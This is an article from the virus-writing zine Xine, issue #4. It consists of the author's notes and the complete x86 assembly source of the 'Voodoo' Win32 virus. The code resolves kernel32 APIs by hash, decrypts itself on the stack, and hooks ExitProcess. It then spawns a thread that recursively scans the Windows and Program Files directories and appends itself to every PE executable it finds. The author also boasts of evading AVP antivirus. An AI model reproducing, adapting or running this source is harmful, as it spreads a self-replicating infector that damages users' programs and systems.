Copy Link
Add to Bookmark
Report
Xine - issue #4 - Phile 201
/-----------------------------\
| Xine - issue #4 - Phile 201 |
\-----------------------------/
;
;
; - The Voodoo virus
;
; I made this virus in octobre or november, I had all prototype working in
; different sources, I had finished a directory tree so I decided to mix them
; in one virus.
;
; This virus was more a coding challenge than everything, 1st, I made a very
; small infection procedure (as a simple PE infector, it took just 500 bytes)
; 2st I mixed with it the directory scanner. But It took so much time.
;
; I decided to add the CreateThread technology becoz multitasking open the way
; of flooding the user. Each time Voodoo run, it infect a lot of PEs in
; hardrive. Voodoo wait 5 sec before running, waiting that the game or program
; was initialized. It don't close FF/FN handle coz it can speed up other
; voodoos
;
; The problem is that the Tread finish with the program, so Voodoo hook
; ExitProcess and wait for finishing activities
;
; against windows message of modified programs I decided to make the windows
; directory by default as a three scanning.
;
; I had the option of puting a polymorphic in it, at that time, I hadn't
; developed any poly for win32 so I puted an encryption that put the virus to
; stack and decrypt it over there. From stack, it allocate memory and go there
; I did that to remember DOS viruses time.
;
; I did a lot of debug about all these techs, the virus is kinda uncrashable,
; very stable but don't work on the NT station. I modified it to get working
; on it but didn't like the morphology of voodoo coz it's not the same spirit
; This virus have something exceptional, so I decided to put the original
; version
;
; Magic voodoo - VOOOOOODOOOo!
;
; As you can notice, AVP were fool at some point, I mailed them and tell them
; their error, nothing was changed. If my voice is not heard, then I will not
; help them anymore in the future pffff....
;
.386
locals
.model flat
;extrn ExitProcess:Proc
.data ; shits for tasm
label_name: db 'StarZero virus prototype 3 - Voodoo Viruses family'
.code ;executable code starts here
HOST:
jmp start
PSEUDOFIN: push 0
; call ExitProcess
start:
db 068h
returntohost: dd offset PSEUDOFIN
pushad
call getdel ; get delta
decrypt:
sub esp,fin-start
lea esi,[ebp+start]
mov edi,esp
mov ecx,starcrpt-start
repz movsb ; copy virus to stack
mov ecx,fin-starcrpt
mov bl,byte ptr [ebp+starcrpt] ; decrypt in stack the virus
makeitfull:
mov al,byte ptr [esi]
xor al,bl
mov byte ptr [edi],al
inc esi
inc edi
loop makeitfull ; do the decrypt boucle
retrn:
lea eax,[esp+FirstEntry-start]
jmp eax ; jmp to virus in stack
getdel:
call getdel2
getdel2:
pop ebp
sub ebp,offset getdel2
ret
starcrpt: db 0
StartCrypt:
FirstEntry:
Call InitApis ; set all apis
call Alloc ; alloc memory
mov edi,eax
lea esi,[ebp+start]
mov ecx,fin-start
repz movsb
lea eax,[eax+InitViralcode-start]
jmp eax ; drop it over there
InitViralcode:
call getdel ; get the delta
mov esi,dword ptr [ebp+startscan]
mov edi,dword ptr [ebp+ImageBase]
xor edx,edx
nexloop: ; search for Kernel32.DLL Import dir.
mov eax,dword ptr [esi+12]
lea eax,[edi+eax+4]
mov ebx,eax
cmp ebx,80000000h
ja fin0
cmp dword ptr [eax],'23LE' ; look for kernel32
je testExitProc
inc edx
add esi,20
loop nexloop
jmp fin0
testExitProc: ; found ?
mov eax,dword ptr [ebp+ExitProcess0]
mov esi,dword ptr [esi+16] ; now get the RVA of the
lea esi,[esi+edi-4] ; location of the import
scannext0: ;
add esi,4
cmp dword ptr [esi],0
je fin0
cmp dword ptr [esi],eax ; detect when location = ExitP.
jne scannext0
lea eax,[ebp+ExitInterception]
mov dword ptr [esi],eax ; patch it
lea eax,[ebp+Identifier]
push eax
push 0
push 0
lea eax,[ebp+Viralcode] ; init our virus as new
push eax ; taks
push 0
push 0
call dword ptr [ebp+CreateThread0]
fin0:
add esp,fin-start
popad
ret ; return to host!
Identifier: dd 0
ExitInterception:
call getdel
waitforsynchronic:
cmp byte ptr [ebp+synchronicflag],66 ; wait for virus
jne waitforsynchronic ; terminaison
call dword ptr [ebp+ExitProcess0]
ret
Viralcode:
call getdel
call GetTime
cmp byte ptr [ebp+synchronicflag],69 ; for 1st run
jz skipwait
mov byte ptr [ebp+synchronicflag],66 ; set as not finished
mov ax,word ptr [ebp+WDSec]
add ax,5
cmp ax,60
jna skfx
sub ax,60
skfx: push eax
call GetTime ; wait 5 sec
pop eax
cmp word ptr [ebp+WDSec],ax
jna skfx
skipwait:
mov byte ptr [ebp+synchronicflag],0
and dword ptr [ebp+dirflag],0
mov ax,word ptr [ebp+WMil]
and al,00000010b
cmp al,10b ; look for sec
je scanwindir ; if okay then attack
; all wins
mov word ptr [ebp+currbuff2],'\'
lea eax,[ebp+currbuff2]
push eax
push eax
push 260
call dword ptr [ebp+GetCurrDir] ; get current dir
pop eax
finishthat:
inc eax
; cmp byte ptr [eax],0
; je returntohost
cmp byte ptr [eax],'\'
jne finishthat
mov byte ptr [eax],0
mov al,byte ptr [ebp+WDSec]
and al,1b
cmp al,1b
je scandirit
inc byte ptr [ebp+dirflag]
jmp scandirit
scanwindir:
lea esi,[ebp+programdir]
lea edi,[ebp+currbuff2]
mov eax,edi
mov ecx,endpgm-programdir
repz movsb ; scan program directory
scandirit:
call scanalldir
mov byte ptr [ebp+synchronicflag],66
push 0
call dword ptr [ebp+ExitThread0]
scanalldir:
lea eax,[ebp+currbuff2]
mov esi,eax
Call GetFirstDir ; get 1st directory
push eax
test eax,eax
jz uptoback ; nothing then go upper dir
pop eax
dec eax
push eax
call scanexes
scannext:
lea edi,[ebp+currbuff2]
mov eax,edi
scanit:
inc edi
cmp byte ptr [edi],0
jne scanit
lovesex:
dec edi
cmp byte ptr [edi],'\'
jne lovesex ; fix up dir and every
; thing
inc edi
lea esi,[ebp+returned+2Ch]
copyit:
movsb
cmp byte ptr [esi],0
jnz copyit
movsb
cmp byte ptr [esi-2],'.'
je loopback2 ; if . or .. then don't
; scan
cmp byte ptr [ebp+dirflag],1 ; check if recursive
je makeitnormal
cmp word ptr [ebp+currbuff2+3],'IW' ; look if windows
je noiseit
push edi esi
call makescandir ; make scannable dir
call scanexes ; scan exe
pop esi edi
mov byte ptr [esi],0
cmp byte ptr [ebp+dirflag],0
je skipscanalldir
makeitnormal:
call scanalldir ; scan all sub dir
jmp scanfixit
noiseit:
push dword ptr [ebp+dirflag]
mov byte ptr [ebp+dirflag],1
call scanalldir ; scan all subdir if
pop dword ptr [ebp+dirflag] ; windows or other...
jmp scanfixit
skipscanalldir:
loopback:
dec edi
cmp byte ptr [edi],'\' ; fix compatibility
jne loopback ; between strcuture
loopback2:
dec edi
cmp byte ptr [edi],'\' ; and received datas
jne loopback2
mov dword ptr [edi+1],' .*'
scanfixit:
pop eax
scanthat:
push eax
call GetNextDir ;get the next directory
test eax,eax
jz uptoback
jmp scannext
uptoback:
pop eax
lea eax,[ebp+currbuff2]
testit0:
inc eax
cmp byte ptr [eax],0
jne testit0
testit22:
dec eax
cmp byte ptr [eax],'\'
jne testit22
testit222:
dec eax
cmp byte ptr [eax],'\'
jne testit222
mov dword ptr [eax+1],' .*' ; a trick to get dirs only on
; win95/98
ret
GetFirstDir:
call makescandir
lea eax,[ebp+returned]
push eax
push esi
Call dword ptr [ebp+FindFirst]
inc eax ; get directory
ret
makescandir:
lea esi,[ebp+currbuff2]
push esi
diroz1:
inc esi
cmp byte ptr [esi],0
jne diroz1
mov dword ptr [esi],' .*\' ; check if we fixed it
mov byte ptr [esi+4],0
pop esi
ret
GetNextDir:
lea esi,[ebp+returned]
push esi
push eax
Call dword ptr [ebp+FindNext]
ret
scanexes:
sub esp,260+fin-start ; reserve stack for memory
mov edx,esp
lea eax,[ebp+currbuff2]
push eax
doitmore:
inc eax
cmp byte ptr [eax],0
jne doitmore
dec eax
mov dword ptr [eax],'exe' ; add exe to '*. '
dec eax
dec eax
mov dword ptr [ebp+offsetloc],eax
pop eax
push edx
push edx
push eax
call dword ptr [ebp+FindFirst] ; look if file exist
inc eax
test eax,eax
jz finishiot
dec eax
push eax
startinfect:
mov dl,byte ptr [esp+4+4+32+1]
xor dl,69
mov byte ptr [ebp+starcrpt],dl ; low size equal crypt
; val
lea esi,[esp+4+4+2Ch]
mov edi,dword ptr [ebp+offsetloc]
xor ecx,ecx
mov cl,95 ;
repz movsb ; copy the uncrypted part
lea edx,[ebp+currbuff2]
Call CreateMapfile ; map the file
jz finishit
push eax
cmp byte ptr [eax],'M' ; check exe
jne CloseIt
cmp byte ptr [eax+24],'@' ; check win
jne CloseIt
mov edi,eax
xor eax,eax
mov ax,word ptr [edi+03Ch]
lea esi,[eax+edi]
cmp byte ptr [esi],'P' ; check PE
jne CloseIt
cmp word ptr [esi+66],'S0' ; check infected
je CloseIt
xor ecx,ecx
mov cx,word ptr [esi+6] ; get numbers of
dec cx ; sections
xor eax,eax
noozhere:
or dword ptr [esi+eax+0f8h+36],80000000h
add eax,40
loop noozhere ; make all sec writable
lea ebx,[esi+eax+0f8h]
mov ecx,dword ptr [esi+52]
mov eax,dword ptr [esi+128]
mov dword ptr [ebp+startscan],eax ; set for
mov dword ptr [ebp+ImageBase],ecx ; getting value
add dword ptr [ebp+startscan],ecx
mov eax,dword ptr [esi+40]
add eax,ecx
mov dword ptr [ebp+returntohost],eax
mov eax,dword ptr [ebx+20] ; set the physical size
add eax,dword ptr [ebx+16]
push eax
sub eax,dword ptr [ebx+20] ; we have physical size
add eax,dword ptr [ebx+12] ; add rva to physical
mov dword ptr [esi+40],eax ; and now we
sub eax,dword ptr [ebx+12]
mov ecx,dword ptr [esi+60] ; fix image size
add eax,fin-start
call divit
mov dword ptr [ebx+16],eax
mov eax,fin-start ; set the virtual size
mov ecx,dword ptr [esi+56]
call divit
add dword ptr [ebx+8],eax
or dword ptr [ebx+36],0C0000020h ; set last section as
; loadable an code
add dword ptr [esi+80],eax ; refix image size
mov word ptr [esi+66],'S0'
pop edi
Call dword ptr [ebp+UnMap] ; unmap the file
push edi
push dword ptr [ebp+MapHandle]
Call dword ptr [ebp+CloseHandle0]
pop edi
add edi,pseudofin-start ; remap the file+
; virus physical size
Call remapfile
push eax
sub edi,pseudofin-start
add edi,eax
lea esi,[ebp+start]
mov ecx,StartCrypt-start ;
repz movsb ; drop the virus
push ebx
mov ecx,pseudofin-StartCrypt
mov bl,byte ptr [ebp+starcrpt]
cryptit:
mov al,byte ptr [esi]
xor al,bl
mov byte ptr [edi],al
inc esi
inc edi
loop cryptit ; and encrypt it
pop ebx
CloseIt:
Call dword ptr [ebp+UnMap]
push dword ptr [ebp+MapHandle]
Call dword ptr [ebp+CloseHandle0] ; close map handles
push dword ptr [ebp+fhandle]
Call dword ptr [ebp+CloseHandle0]
pop eax
pop edx
push edx
push eax
push edx
push eax
Call dword ptr [ebp+FindNext] ; check if any other
test eax,eax ; exe
jnz startinfect
finishit:
pop eax
finishiot:
pop eax
add esp,260+(fin-start)
ret
CreateMapfile:
push 2 ; iReadWrite = OF_READWRITE
push edx
Call dword ptr [ebp+Lopen] ; open the file
mov edi,dword ptr [esp+4+4+4+20h]
mov dword ptr [ebp+fhandle],eax
remapfile:
mov eax,dword ptr [ebp+fhandle]
push 0
push edi
push 0
push 4h
push 0
push eax
Call dword ptr [ebp+CreateMap]
mov dword ptr [ebp+MapHandle],eax ; put the file in mem
push edi
push 0
push 0
push 2h or 4h
push eax
call dword ptr [ebp+ViewMap] ; ask to access that
dec eax ; file
inc eax
ret
GetTime:
lea eax,[ebp+TimeOffset]
push eax
call dword ptr [ebp+GetSysTime0] ; get the time
ret
divit: ; for the pe values
push edx
push ebx
xor edx,edx
div ecx
inc eax
mul ecx
pop ebx
pop edx
ret
Alloc: ; Hacked from Explorer.exe
; given with window95 Chicago
mov ebx,fin-start
inc ebx ; ver 4.00.950 line#0040D0DE
push 0
push ebx
push 0
Call dword ptr [ebp+HeapCreate0] ; use heap for getting mem
cmp eax,0
jz AllocBad
dec ebx
push ebx
push 8h
push eax
Call dword ptr [ebp+HeapAlloc0] ; alloc heaps
AllocBad:
ret
InitApis:
GetProc:
call getdel
push ebp
mov edi,dword ptr [esp+4+20h+4+fin-start+4]
; and edi,0FFF00000h
; cmp edi,0BFF00000h
; jb kernelbase
mov edi,077F00000h-070000h ; this was previewved for NT
; but in fact don't work on NT
kernelbase:
add edi,070000h
mov ebx,dword ptr [edi+3Ch]
add ebx,edi ; ebx point to the PE header
; In fact it's allways PE
; I skiped the MZ and PE
; signature check coz if it's
; not, Kernel can't be loaded :]
mov esi,dword ptr [ebx+120] ; esi point to the Export
lea esi,[esi+edi] ; zone
mov ecx,dword ptr [esi+24] ; ecx = number of export
mov ebx,dword ptr [esi+32] ; ebx point to the name offset
add ebx,edi ; table
Scanstring:
mov edx,dword ptr [ebx] ; edi point to the 1st
add edx,edi ; name
loophere:
push ecx
xor eax,eax
xor ecx,ecx ; reset for crc building
mov al,byte ptr [edx]
getnamecrc:
mov cl,byte ptr [edx]
test ecx,ecx
jz test_crcs ; this build a Pseudo CRC
rol eax,3
xor eax,ecx
inc edx
jmp getnamecrc
test_crcs:
pop ecx
push ecx
push ebp
inc edx
lea ebp,[ebp+crc_list-4] ; compare pseudos crc
xor ebx,ebx
doomed:
add ebp,4
cmp byte ptr [ebp],0 ; check for it
je testnext
inc ebx
cmp dword ptr [ebp],eax
jne doomed
mov eax,dword ptr [esi+24] ; get table of API offset
sub eax,ecx
shl eax,1
push ebx
add eax,dword ptr [esi+36] ; table RVA
add eax,edi ; Add Rva
xor ebx,ebx ; set ebx to 0
mov bx,word ptr [eax] ;
xchg eax,ebx
pop ebx
shl eax,2
add eax,dword ptr [esi+28] ; calculation
add eax,edi
mov eax,dword ptr [eax]
add eax,edi
dec ebx
pop ebp
lea ecx,[4*ebx+GetSysTime0] ; do it over system time
mov dword ptr [ebp+ecx],eax
push ebp
testnext:
pop ebp
pop ecx
loop loophere ; scan every api requested
pop ebp
ret
programdir: db 'c:\program files',0
;programdir: db 'f:\program files',0
endpgm:
db db 'Star0/ikx/ - Magic Voodoo'
ImageBase: dd 00400000h
startscan: dd 00404000h
sec_descriptor:
dd 12
dd 0
dd 0
crc_list:
dd 0EE84C668h ; GetSystemTime
dd 0C6387A85h ; CreateThread
dd 00518D019h ; HeapAlloc
dd 028C67195h ; HeapCreate
dd 0A24E569Eh ; GetCurrentDirectoryA
dd 05FBCD23Ch ; CreateMap
dd 0D45D57C9h ; ViewMap
dd 0D456B049h ; UnMap
dd 056b3973Eh ; FindFirst
dd 0E37e8dc3h ; FindNext
dd 00AACF03Dh ; Lclose -> Call to closeHandle
dd 001558146h ; Lopen
dd 01CDC7E3Fh ; ExitThread
dd 0E6ff2c33h ; ExitProcess
dd 0
pseudofin:
GetSysTime0: dd 0
CreateThread0: dd 0
HeapAlloc0: dd 0
HeapCreate0: dd 0
GetCurrDir: dd 0
CreateMap: dd 0
ViewMap: dd 0
UnMap: dd 0
FindFirst: dd 0
FindNext: dd 0
CloseHandle0: dd 0
Lopen: dd 0
ExitThread0: dd 0
ExitProcess0: dd 0
dd 0
MapHandle: dd 0
fhandle: dd 0
offsetloc: dd 0
synchronicflag: db 69
dirflag: dd 0
returned: db 400 dup (?)
TimeOffset:
WYear: dw ?
WMonth: dw ?
WDayWeek: dw ?
WDay: dw ?
WDHour: dw ?
WDMin: dw ?
WDSec: dw ?
WMil: dw ?
currbuff2: db 295 dup (?)
startfile:
fin:
ends
end HOST